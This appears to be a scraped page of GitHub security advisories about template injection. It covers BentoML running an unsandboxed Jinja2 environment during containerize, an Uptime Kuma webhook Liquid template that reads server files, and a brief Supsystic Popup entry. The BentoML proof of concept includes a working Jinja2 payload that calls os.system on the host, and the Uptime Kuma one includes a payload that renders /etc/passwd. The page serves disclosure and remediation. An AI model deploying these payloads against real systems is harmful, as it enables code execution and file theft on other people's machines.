  "details": "## Summary\n\nThe Dockerfile generation function `generate_containerfile()` in `src/bentoml/_internal/container/generate.py` uses an unsandboxed `jinja2.Environment` with the `jinja2.ext.do` extension to render user-provided `dockerfile_template` files. When a victim imports a malicious bento archive and runs `bentoml containerize`, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.\n\n## Details\n\nThe vulnerability exists in the `generate_containerfile()` function at `src/bentoml/_internal/container/generate.py:155-157`:\n\n```python\nENVIRONMENT = Environment(\n    extensions=[\"jinja2.ext.do\", \"jinja2.ext.loopcontrols\", \"jinja2.ext.debug\"],\n    trim_blocks=True,\n    lstrip_blocks=True,\n    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n```\n\nThis creates an **unsandboxed** `jinja2.Environment` with two dangerous extensions:\n- `jinja2.ext.do` \u2014 enables `{% do %}` tags that execute arbitrary Python expressions\n- `jinja2.ext.debug` \u2014 exposes internal template engine state\n\n**Attack path:**\n\n1. **Attacker builds a bento** with `dockerfile_template` set in `bentofile.yaml`. During `bentoml build`, `DockerOptions.write_to_bento()` (`build_config.py:272-276`) copies the template file into the bento archive at `env/docker/Dockerfile.template`:\n\n```python\nif self.dockerfile_template is not None:\n    shutil.copy2(\n        resolve_user_filepath(self.dockerfile_template, build_ctx),\n        docker_folder / \"Dockerfile.template\",\n    )\n```\n\n2. **Attacker exports** the bento as a `.bento` or `.tar.gz` archive and distributes it (via S3, HTTP, direct sharing, etc.).\n\n3. **Victim imports** the bento with `bentoml import bento.tar` \u2014 no validation of template content is performed.\n\n4. **Victim containerizes** with `bentoml containerize`. The `construct_containerfile()` function (`__init__.py:198-204`) detects the template and sets the path:\n\n```python\ndocker_attrs[\"dockerfile_template\"] = \"env/docker/Dockerfile.template\"\n```\n\n5. **`generate_containerfile()`** (`generate.py:181-192`) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:\n\n```python\nuser_templates = docker.dockerfile_template\nif user_templates is not None:\n    dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))\n    user_templates = os.path.basename(user_templates)\n    TEMPLATES_PATH.append(dir_path)\n    environment = ENVIRONMENT.overlay(\n        loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)\n    )\n    template = environment.get_template(\n        user_templates,\n        globals={\"bento_base_template\": template, **J2_FUNCTION},\n    )\n# ...\nreturn template.render(...)  # \u003c-- SSTI executes here, on the HOST\n```\n\n**Critical distinction**: Commands in `docker.commands` or `docker.post_commands` execute *inside* the Docker build container (isolated). SSTI payloads execute Python directly on the **host machine** during template rendering, *before* Docker is invoked. This bypasses all container isolation.\n\n## PoC\n\n**Step 1: Create malicious template `evil.j2`:**\n\n```jinja2\n{% extends bento_base_template %}\n{% block SETUP_BENTO_COMPONENTS %}\n{{ super() }}\n{% do namespace.__init__.__globals__[\u0027__builtins__\u0027][\u0027__import__\u0027](\u0027os\u0027).system(\u0027id \u003e /tmp/pwned\u0027) %}\n{% endblock %}\n```\n\n**Step 2: Create `bentofile.yaml` referencing the template:**\n\n```yaml\nservice: \u0027service:MyService\u0027\ndocker:\n  dockerfile_template: ./evil.j2\n```\n\n**Step 3: Attacker builds and exports:**\n\n```bash\nbentoml build\nbentoml export myservice:latest bento.tar\n```\n\n**Step 4: Victim imports and containerizes:**\n\n```bash\nbentoml import bento.tar\nbentoml containerize myservice:latest\n```\n\n**Step 5: Verify host code execution:**\n\n```bash\ncat /tmp/pwned\n# Output: uid=1000(victim) gid=1000(victim) groups=...\n```\n\nThe SSTI payload executes on the host during template rendering, before any Docker container is created.\n\n**Standalone verification that the Jinja2 Environment allows code execution:**\n\n```bash\npython3 -c \"\nfrom jinja2 import Environment\nenv = Environment(extensions=[\u0027jinja2.ext.do\u0027])\nt = env.from_string(\\\"{% do namespace.__init__.__globals__[\u0027__builtins__\u0027][\u0027__import__\u0027](\u0027os\u0027).system(\u0027echo SSTI_WORKS\u0027) %}\\\")\nt.render()\n\"\n# Output: SSTI_WORKS\n```\n\n## Impact\n\nAn attacker who distributes a malicious bento archive can achieve **arbitrary code execution on the host machine** of any user who imports and containerizes the bento. This gives the attacker:\n\n- Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)\n- Ability to install backdoors or pivot to other systems\n- Access to environment variables containing secrets (API keys, database credentials)\n- Potential supply chain compromise if the victim\u0027s machine is a CI/CD runner\n\nThe attack is particularly dangerous because:\n1. Users may reasonably expect `bentoml containerize` to be a safe build operation\n2. The malicious template is embedded inside the bento archive and not visible without manual inspection\n3. Execution happens on the host, not inside a Docker container, bypassing all isolation\n\n## Recommended Fix\n\nReplace the unsandboxed `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment` and remove the dangerous `jinja2.ext.do` and `jinja2.ext.debug` extensions, which are unnecessary for Dockerfile template rendering.\n\nIn `src/bentoml/_internal/container/generate.py`, change lines 155-157:\n\n```python\n# Before (VULNERABLE):\nfrom jinja2 import Environment\n# ...\nENVIRONMENT = Environment(\n    extensions=[\"jinja2.ext.do\", \"jinja2.ext.loopcontrols\", \"jinja2.ext.debug\"],\n    trim_blocks=True,\n    lstrip_blocks=True,\n    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n\n# After (FIXED):\nfrom jinja2.sandbox import SandboxedEnvironment\n# ...\nENVIRONMENT = SandboxedEnvironment(\n    extensions=[\"jinja2.ext.loopcontrols\"],\n    trim_blocks=True,\n    lstrip_blocks=True,\n    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n```\n\nAdditionally, review the second unsandboxed Environment in `build_config.py:499-504` which also uses `jinja2.ext.debug`:\n\n```python\n# build_config.py:499 - also fix:\nenv = jinja2.sandbox.SandboxedEnvironment(\n    variable_start_string=\"\u003c\u003c\",\n    variable_end_string=\"\u003e\u003e\",\n    loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),\n)\n```",
  "id": "GHSA-v959-cwq9-7hr6",
  "modified": "2026-06-08T20:04:53Z",
  "published": "2026-04-03T23:14:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-v959-cwq9-7hr6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35044"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bentoml/BentoML"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-159.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation"
}

GHSA-VFFH-C9PQ-4CRH

Vulnerability from github – Published: 2025-10-20 20:03 – Updated: 2025-10-20 20:03
VLAI
Summary
Uptime Kuma Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read
Details

Summary

In some Notification types (e.g., Webhook, Telegram), the send() function allows user-controlled renderTemplate input. This leads to a Server-side Template Injection (SSTI) vulnerability that can be exploited to read arbitrary files from the server.

Details

The root cause is how Uptime Kuma renders user-controlled templates via renderTemplate(). The function instantiates a Liquid template engine and parses the template argument without sanitization:

async renderTemplate(template, msg, monitorJSON, heartbeatJSON) {
    const engine = new Liquid();
    const parsedTpl = engine.parse(template);

    // ...
}

In some Notification flows, the send() implementation passes user-editable fields directly into renderTemplate():

// webhook.js
if (notification.webhookContentType === "form-data") {
    const formData = new FormData();
    formData.append("data", JSON.stringify(data));
    config.headers = formData.getHeaders();
    data = formData;
} else if (notification.webhookContentType === "custom") {
    data = await this.renderTemplate(notification.webhookCustomBody, msg, monitorJSON, heartbeatJSON); //<- this line cause SSTI
}

Because notification can be edited by users and is rendered by the Liquid engine without proper sandboxing or a whitelist of allowed operations, an attacker can supply a crafted template that causes the server to read arbitrary files. In particular, Liquid’s template tags (e.g. {% render ... %}) can be abused to include server-side files if the engine is not restricted, resulting in Server-side Template Injection (SSTI) that leaks sensitive file contents.

PoC

  1. Open Uptime Kuma → NotificationsAdd or Edit an existing Webhook notification.
  2. Set notification type to Webhook and set Request Body to Custom Body.
  3. Paste the following JSON into the custom request body:
{
  "Title": {% render '/etc/passwd' %}
}
  1. Click test.
  2. Your webhook will receive the file content

Impact

This is a post-authentication Server-side Template Injection (SSTI) vulnerability that allows an authenticated user to perform arbitrary file read on the server.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "uptime-kuma"
      },
      "versions": [
        "2.0.0-dev.0"
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-36"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-20T20:03:15Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nIn some Notification types (e.g., Webhook, Telegram), the `send()` function allows user-controlled renderTemplate input. This leads to a Server-side Template Injection (SSTI) vulnerability that can be exploited to read arbitrary files from the server.\n\n\n\n### Details\n\nThe root cause is how Uptime Kuma renders user-controlled templates via `renderTemplate()`. The function instantiates a Liquid template engine and parses the `template` argument without sanitization:\n\n```js\nasync renderTemplate(template, msg, monitorJSON, heartbeatJSON) {\n    const engine = new Liquid();\n    const parsedTpl = engine.parse(template);\n\n    // ...\n}\n```\n\nIn some Notification flows, the `send()` implementation passes user-editable fields directly into `renderTemplate()`:\n```js\n// webhook.js\nif (notification.webhookContentType === \"form-data\") {\n    const formData = new FormData();\n    formData.append(\"data\", JSON.stringify(data));\n    config.headers = formData.getHeaders();\n    data = formData;\n} else if (notification.webhookContentType === \"custom\") {\n    data = await this.renderTemplate(notification.webhookCustomBody, msg, monitorJSON, heartbeatJSON); //\u003c- this line cause SSTI\n}\n```\n\nBecause `notification` can be edited by users and is rendered by the Liquid engine without proper sandboxing or a whitelist of allowed operations, an attacker can supply a crafted template that causes the server to read arbitrary files. In particular, Liquid\u2019s template tags (e.g. `{% render ... %}`) can be abused to include server-side files if the engine is not restricted, resulting in Server-side Template Injection (SSTI) that leaks sensitive file contents.\n\n\n\n### PoC\n\n1. Open Uptime Kuma \u2192 **Notifications** \u2192 **Add** or **Edit** an existing Webhook notification.\n2. Set notification type to **Webhook** and set **Request Body**  to **Custom Body**.\n3. Paste the following JSON into the custom request body:\n\n```json\n{\n  \"Title\": {% render \u0027/etc/passwd\u0027 %}\n}\n```\n\n4. Click test.\n5. Your webhook will receive the file content\n\n\n\n### Impact\n\nThis is a post-authentication Server-side Template Injection (SSTI) vulnerability that allows an authenticated user to perform arbitrary file read on the server.",
  "id": "GHSA-vffh-c9pq-4crh",
  "modified": "2025-10-20T20:03:15Z",
  "published": "2025-10-20T20:03:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-vffh-c9pq-4crh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/louislam/uptime-kuma"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uptime Kuma Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read"
}

GHSA-VMMQ-P5R9-QM38

Vulnerability from github – Published: 2024-11-18 15:33 – Updated: 2026-04-01 18:32
VLAI
Details

Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Supsystic Popup by Supsystic allows Command Injection.This issue affects Popup by Supsystic: from n/a through 1.10.29.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-52434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-82",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-18T15:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Supsystic Popup by Supsystic allows Command Injection.This issue affects Popup by Supsystic: from n/a through 1.10.29.",
  "id": "GHSA-vmmq-p5r9-qm38",
  "modified": "2026-04-01T18:32:25Z",
  "published": "2024-11-18T15:33:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52434"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/popup-by-supsystic/vulnerability/wordpress-popup-by-supsystic-plugin-1-10-29-remote-code-execution-rce-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/popup-by-supsystic/wordpress-popup-by-supsystic-plugin-1-10-29-remote-code-execution-rce-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

Mitigation
Implementation

Use the template engine's sandbox or restricted mode, if available.

No CAPEC attack patterns related to this CWE.